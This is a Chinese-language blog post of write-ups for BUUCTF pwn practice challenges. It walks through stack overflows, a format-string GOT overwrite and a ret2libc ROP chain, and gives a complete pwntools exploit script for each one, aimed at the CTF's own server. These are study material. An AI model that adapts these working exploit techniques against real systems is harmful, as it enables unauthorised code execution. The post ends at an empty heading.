buuctf-pwn刷题记录

本文最后更新于:2025年6月25日 上午

test_your_nc1

1
2
3
4
5
6
- Connect to a certain port:
nc {{ip_address}} {{port}}

- Scan the open ports of a specified host:
nc -v -z {{ip_address}} {{port}}

下载文件,ida f5,发现该文件直接执行system(/bin/sh)

nc ip port 获得目标shell,ls发现flag,直接cat flag即可

RIP

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}

shift+f12发现system和sh字符串都存在,看下代码段:

1
2
.text:000000000040118A                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401191 call _system

保护:

1
2
3
4
5
6
7
8
~$ pwn checksec pwn1
[*] '/home/philo/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

直接利用缓冲区溢出把返回地址改一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

from pwn import *

#context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

sh = remo('./pwn1')

payload = b'a' * (0xf+8) + p64(0x40118A)

sh.sendline(payload)

sh.interactive()

warmup_csaw_2016-1

1
2
3
4
5
6
7
8
~> pwn checksec ./warmup_csaw_2016
[*] '/home/philo/warmup_csaw_2016'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

在write函数下断点,ni运行到gets函数

1
2
3
4
  0x400692    lea    rax, [rbp - 0x40] # offset
0x400696 mov rdi, rax
0x400699 mov eax, 0
0x40069e call gets@plt <gets@plt>

看一下堆栈状态

1
2
3
 RBP  0x7fffffffe1c0 ◂— 0x0
RSP 0x7fffffffe140 ◂— '0x40060d\n'
*RIP 0x40069e ◂— call 0x400500

观察到代码段内容:

1
2
3
4
5
6
7
8
9
.text:000000000040060D sub_40060D      proc near               ; DATA XREF: main+34↓o
.text:000000000040060D ; __unwind {
.text:000000000040060D push rbp
.text:000000000040060E mov rbp, rsp
.text:0000000000400611 mov edi, offset command ; "cat flag.txt"
.text:0000000000400616 call _system
.text:000000000040061B pop rbp
.text:000000000040061C retn
.text:000000000040061C ; } // starts at 40060D

得到返回地址0x0000000000400611

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

from pwn import *

#context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

sh = remote('node4.buuoj.cn', 27704)

payload = b'a' * (0x40+8) + p64(0x0000000000400611)

sh.sendline(payload)

sh.interactive()

ciscn_2019_n_1

1
2
3
4
5
6
7
pwn checksec ciscn_2019_n_1
[*] '/home/philo/ciscn_2019_n_1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

看一下func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int func()
{
int result; // eax
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1);
if ( v2 == 11.28125 )
result = system("cat /flag");
else
result = puts("Its value should be 11.28125");
return result;
}

直接跳到cat /flag代码处即可

1
2
3
.text:00000000004006BE                 mov     edi, offset command ; "cat /flag"
.text:00000000004006C3 mov eax, 0
.text:00000000004006C8 call _system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

from pwn import *

#context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

sh = remote('node4.buuoj.cn', 26563)

target = 0x00000000004006BE

payload = b'a' * (0x30+8) + p64(target)

sh.sendline(payload)

sh.interactive()

pwn1_sctf_2016

1
2
3
4
5
6
7
 ~> pwn checksec pwn1_sctf_2016
[*] '/home/philo/pwn1_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata);
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3);
std::string::operator=(&input, v3, v6, v4); // 关注这一行
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0);
return printf("So, %s\n", s);
}

C++逆出来的确实看不懂,大概就是你输入的字符串中的I会被you替换,然后把处理后的字符串strcpy给s

所以很明显字符串变长了,虽然fgets指定了字符数量,但是由于这个替换的存在,有可能冲掉返回地址

s在栈上的位置是ebp-3Ch,因此偏移为0x3c+4=64字节,我们输入21个I,可以得到63字节

看一下返回地址

1
2
.text:08048F13                 mov     dword ptr [esp], offset command ; "cat flag.txt"
.text:08048F1A call _system

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

from pwn import *

#context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

sh = remote('node4.buuoj.cn', 29753)

target = 0x08048F13

payload = b'I' * (21) + b'a' + p32(target)

sh.sendline(payload)

sh.interactive()

jarvisoj_level0

1
2
3
4
5
6
7
> pwn checksec level0
[*] '/home/philo/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

看一下代码段

1
2
.text:000000000040059A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040059F call _system

看堆栈算一下偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 RBP  0x7fffffffe1b0 —▸ 0x7fffffffe1d0 ◂— 0x0
RSP 0x7fffffffe130 ◂— 0x0
*RIP 0x4005bf (vulnerable_function+25) ◂— call 0x400470
───────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x4005aa <vulnerable_function+4> add rsp, -0x80
0x4005ae <vulnerable_function+8> lea rax, [rbp - 0x80]
0x4005b2 <vulnerable_function+12> mov edx, 0x200
0x4005b7 <vulnerable_function+17> mov rsi, rax
0x4005ba <vulnerable_function+20> mov edi, 0
0x4005bf <vulnerable_function+25> call read@plt <read@plt>
fd: 0x0 (/dev/pts/1)
buf: 0x7fffffffe130 ◂— 0x0
nbytes: 0x200

0x4005c4 <vulnerable_function+30> leave
0x4005c5 <vulnerable_function+31> ret

填充0x80+8个字节即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

from pwn import *

#context.log_level = "debug"
#context.terminal=['tmux','splitw','-h']

sh = remote('node4.buuoj.cn', 26852)
# sh = process('./pwn')
target = 0x000000000040059A

payload = b'a'*(0x80+8) + p64(target)

sh.sendline(payload)

sh.interactive()

[第五空间2019 决赛]PWN5-1

1
2
3
4
5
6
7
> pwn checksec ./pwn
[*] '/home/philo/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

看一下程序逻辑,由于read读取99,而buf是100,因此无法进行缓冲区溢出

再往下看,考虑格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
char buf[100]; // [esp+14h] [ebp-70h] BYREF 

srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);//读入99
printf("Hello,");
printf(buf);//存在格式化字符串漏洞
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}

程序逻辑:

  • 使用srand函数初始化随机数生成器;
  • 打开/dev/urandom设备,并从中读取4个字节,存入dword_804C044变量;
  • 提示用户输入用户名,使用read函数从标准输入(文件描述符为0)中读取不超过99个字节的数据存入buf数组中;
  • 输出“Hello, ”以及用户输入的用户名,注意此处存在格式化字符串漏洞
  • 提示用户输入密码,使用read函数从标准输入中读取不超过15个字节的数据存入nptr数组中;
  • 将nptr数组中的字符串转换为整数类型,如果和步骤2中读取的dword_804C044相等,则输出“ok!!”,并调用system函数打开一个shell;
  • 如果两者不相等,则输出“fail”。
  • 读取你的名字和密码,如何和dword_804C044相同,那么就得到/bin/sh

思路1:覆盖got表

计算一下偏移为10

1
2
3
~$ ./pwn-buu
your name:AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
Hello,AAAAfffae618.63.0.0.3.f7f47990.f7f359f9.8048034.b.41414141

我们可以将后续会被调用的atoi函数的地址改写为我们的目标地址,这样当调用atoi函数的时候,实际执行的就是我们想要执行的代码

1
2
3
.text:0804932F                 lea     eax, (aBinSh - 804C000h)[ebx] ; "/bin/sh"
.text:08049335 push eax ; command
.text:08049336 call _system

格式化字符串漏洞中自己算偏移、字节数太麻烦,我们可以使用pwntools的fmtstr_payload函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3

from pwn import *

sh = remote('node4.buuoj.cn', 25944)
#sh = process('./pwn-buu')
elf=ELF('./pwn-buu')

atoi_got=elf.got['atoi']

target_addr=0x0804932F

payload=fmtstr_payload(10,{atoi_got:target_addr})

sh.send(payload)

sh.interactive()

代码说明:

  • 导入 pwn 库;
  • 连接远程主机 node4.buuoj.cn 的 25944 端口(或者使用本地进程);
  • 解析 ELF 可执行文件 pwn-buu,获取 atoi 函数的 GOT 地址;
  • 指定目标函数地址 target_addr,此处为 0x0804932F;
  • 调用 fmtstr_payload() 函数生成恶意格式化字符串,将 atoi 函数的 GOT 地址覆盖为目标地址;
  • 将 payload 发送给目标主机,并进入交互模式,等待攻击结果。

思路2:改写dword_804C044值

把0x804C044的值改写为0,然后输入密码0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3

from pwn import *

sh = remote('node4.buuoj.cn', 25944)
#sh = process('./pwn-buu')
elf=ELF('./pwn-buu')

#atoi_got=elf.got['atoi']

dword_804C044=0x804C044

target_addr=0x0804932F

payload=fmtstr_payload(10,{dword_804C044:0x0})

sh.sendlineafter('your name:',payload)
sh.sendlineafter('your passwd:',str(0x0))

sh.interactive()

ciscn_2019_c_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init(*(_QWORD *)&argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

进入encrypt函数看一下,发现对输入的字符串进行了异或,按理说需要再异或一次得到原值,但是strlen(s)判定条件导致了不会对rbp和返回地址进行异或,因此不需要再异或一次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

思路:

  • 使用ROP泄露出puts的got地址,再利用LibcSearcher得到libc的版本
  • 由于libc内的函数最低12位不随着libc库版本的改变而改变,因此只要得到puts函数的地址,就可以得到libc的版本
  • 由于libc内的函数的相对偏移不随着libc库版本的改变而改变,因此只要得到puts函数的地址,就可以得到其余函数的地址(比如system函数、sh字符串)

有几个易错的点:

  • 64位使用寄存器传参,而不是栈,因此构造rop链的时候,需要使用pop_rdi_ret将参数放在寄存器之后调用函数。payload = b'a' * (88) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
  • 使用recv族函数吞掉多余的输出,并获取地址puts_addr = u64(sh.recvline()[:-1].ljust(8,b'\x00')) # puts puts_got.get puts addr
  • 由于Ubuntu18的运行机制,此题不加ret则栈无法对齐(貌似system函数必须在地址以0结束的位置,而本题是8)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/python3

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

#sh = process('./ciscn_2019_c_1')
sh=remote('node4.buuoj.cn', 27910)
elf = ELF('./ciscn_2019_c_1')


puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.symbols['main']

# 0x0000000000400c83 : pop rdi ; ret

pop_rdi_ret=0x0000000000400c83

payload = b'a' * (88) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)+p64(main)

# gdb.attach(sh)

sh.recv()
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted\n")

sh.sendline(payload)

sh.recvuntil("\n")#puts("Ciphertext");
sh.recvuntil("\n")#puts("payload");
puts_addr = u64(sh.recvline()[:-1].ljust(8,b'\x00')) # puts puts_got.get puts addr

#print(hex(puts_addr))
#pause()

libc = LibcSearcher('puts', puts_addr) #  search libc

libc_base = puts_addr - libc.dump('puts') #  get libc base
system_addr = libc_base + libc.dump('system') #  get system addr
binsh_addr = libc_base + libc.dump('str_bin_sh') #  get /bin/sh addr


sh.recv()
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted\n")
#gdb.attach(sh)
ret = 0x00000000004006b9
#错误的:payload = b'a' * (88) + p64(system_addr) + p64(0xaaaa) + p64(binsh_addr)
# Ubuntu18运行机制 不加ret 则栈无法对齐,即system的尾部是8而不是0:payload = b'a' * (88) + p64(ret)+p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = b'a' * (88) + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
sh.sendline(payload)

sh.interactive()

ciscn_2019_n_8-1

保护全开,看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

只需将数组var的第14个元素改成17即可。每个数组值为4个字节,因此payload=b'\x11\x00\x00\x00'*14,注意如果修改了第15个元素,也即是var[14]会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

sh = process('./ciscn_2019_n_8')
#sh=remote('node4.buuoj.cn', 27910)
elf = ELF('./ciscn_2019_n_8')

payload=b'\x11\x00\x00\x00'*14
#b'\x11\x00\x00\x00'*30
sh.sendline(payload)

sh.interactive()

jarvisoj_level2

1
2
3
4
5
6
7
~> pwn checksec ./level2
[*] '/home/philo/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

read读入256字节,存在溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

shift+f12查看字符串,发现了sh

1
.data:0804A024 hint            db '/bin/sh',0

水题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

#sh = process('./ciscn_2019_n_8')
sh=remote('node4.buuoj.cn', 27901)
elf = ELF('./level2')

sys_addr=0x08048320
binsh_addr=0x0804A024

payload=b'a'*(0x88+4)+p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)

sh.sendline(payload)

sh.interactive()


bjdctf_2020_babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
  • 先输入100,使得读入100个字节,导致溢出
  • 在代码段找到system_sh,地址为00000000004006E6
1
2
3
4
5
6
7
8
9
10
.text:00000000004006E6 ; __unwind {
.text:00000000004006E6 push rbp
.text:00000000004006E7 mov rbp, rsp
.text:00000000004006EA mov edi, offset command ; "/bin/sh"
.text:00000000004006EF call _system
.text:00000000004006F4 mov eax, 1
.text:00000000004006F9 pop rbp
.text:00000000004006FA retn
.text:00000000004006FA ; } // starts at 4006E6
.text:00000000004006FA backdoor endp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

sh=remote('node4.buuoj.cn', 27644)
elf = ELF('./level2')

sys_sh_addr= 0x00000000004006EA

sh.recvuntil('of your name:\n')
sh.sendline(str(100))

payload=b'a'*(0x10+8)+p64(sys_sh_addr)

sh.sendline(payload)

sh.interactive()

get_started_3dsctf_2016

1
2
3
4
5
6
7
 ~> pwn checksec ./get_started_3dsctf_2016
[*] '/home/philo/get_started_3dsctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

gets导致溢出

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF

printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}

但是这个题有个大坑,就是main函数不是通过push ebp;mov ebp , esp 压栈的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:08048A20 main            proc near               ; DATA XREF: _start+17↑o
.text:08048A20
.text:08048A20 var_3C = dword ptr -3Ch
.text:08048A20 var_38 = byte ptr -38h
.text:08048A20 argc = dword ptr 4
.text:08048A20 argv = dword ptr 8
.text:08048A20 envp = dword ptr 0Ch
.text:08048A20
.text:08048A20 sub esp, 3Ch
.text:08048A23 mov [esp+3Ch+var_3C], offset aQualAPalavrinh ; "Qual a palavrinha magica? "
.text:08048A2A call printf
.text:08048A2F lea eax, [esp+3Ch+var_38]
.text:08048A33 mov [esp+3Ch+var_3C], eax
.text:08048A36 call gets
.text:08048A3B xor eax, eax
.text:08048A3D add esp, 3Ch
.text:08048A40 retn
.text:08048A40 main endp

看最后两行就可以看出来,抬栈之后直接ret

1
2
.text:08048A3D                 add     esp, 3Ch
.text:08048A40 retn

shift+f12查字符串,跟进flag.txt的引用,发现直接open flag文件,然后putchar打印出所有字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}

这样的话就很简单了,先调用get_flag_addr函数,然后参数设置满足a1 == 814536271 && a2 == 425138641,在调用完get_flag_addr之后,返回地址设置为exit_addr,这里如果设置为别的值,会报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3

from pwn import *
from LibcSearcher import *

context.log_level = "debug"
context.terminal=['tmux','splitw','-h']

sh=remote('node4.buuoj.cn', 26256)
#sh=process('./get_started_3dsctf_2016')
#elf = ELF('./get_started_3dsctf_2016')

get_flag_addr= 0x080489A0
exit_addr=0x804E6A0

payload=b'a'*(0x38)+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)

sh.sendline(payload)
sleep(0.5)
sh.interactive()

[OGeek2019]babyrop


buuctf-pwn刷题记录
http://gls.show/p/bdeaa012/
作者
郭佳明
发布于
1970年1月1日
许可协议